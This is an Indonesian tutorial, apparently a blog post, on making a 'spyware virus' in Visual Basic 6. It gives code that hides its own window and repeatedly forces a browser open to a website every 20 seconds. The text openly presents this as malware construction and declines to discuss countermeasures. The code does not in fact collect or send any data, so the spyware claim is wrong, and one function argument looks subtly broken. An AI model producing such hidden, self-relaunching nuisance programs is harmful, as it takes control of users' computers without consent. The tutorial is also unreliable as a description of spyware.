Cara Membuat Virus Spyware Menggunakan VB 6.0

Cara Membuat Spyware sederhana menggunakan VB6 - Pernahkan Anda ketika ingin melakukan browsing tiba-tiba ada sebuah program aplikasi yang berjalan dan muncul otomatis yang kita tidak kehendaki, lalu apa yang Anda lakukan yang pasti  Anda akan menutup aplikasi tersebut, tapi apa yang terjadi ketika kita sudah berhasil menutupnya  program itu muncul kembali dalam waktu beberapi detik saja dan terus menerus. 

Kejadian ini sering kali terjadi, mungkin karena ada program yang menumpang pada saat kita mendownload sebuah file. Intinya program yang terjadi seperti kejadian diatas sperti Sp*ware, biasanya program ini muncul dalam wujud iklan.

Spyware adalah program yang terinstall dalam sistem komputer dan mampu mengumpulkan berbagai informasi tentang (milik) user dan kemudian mengirim informasi ke lokasi tertentu tanpa sepengetahuan user.

Dalam pertemuan kali ini kami tidak membahas cara mengatasi kejadian yang kami ceritakan diatas,tapi kami lebih menekankan pada cara membuat program yang mirip Spyware :

Private Const FLAG_ICC_FORCE_CONNECTION = &H1

Private Declare Function InternetCheckConnection Lib "wininet.dll" Alias "InternetCheckConnectionA" (ByVal lpszUrl As String, ByVal dwFlags As Long, ByVal dwReserved As Long) As Long

Private Sub Form_Load()

Me.Visible = False

Timer1.Interval = 1000

End Sub

Private Sub Timer1_Timer()

If Second(Now) Mod 20 = 0 Then

If InternetCheckConnection("http://www.google.com", FLAG_ICC_FORCE_CONNECTION, 0& = 1) Then

Shell "C:\Program Files\Mozilla Firefox\firefox.exe http://google.com"

End If

End If

End Sub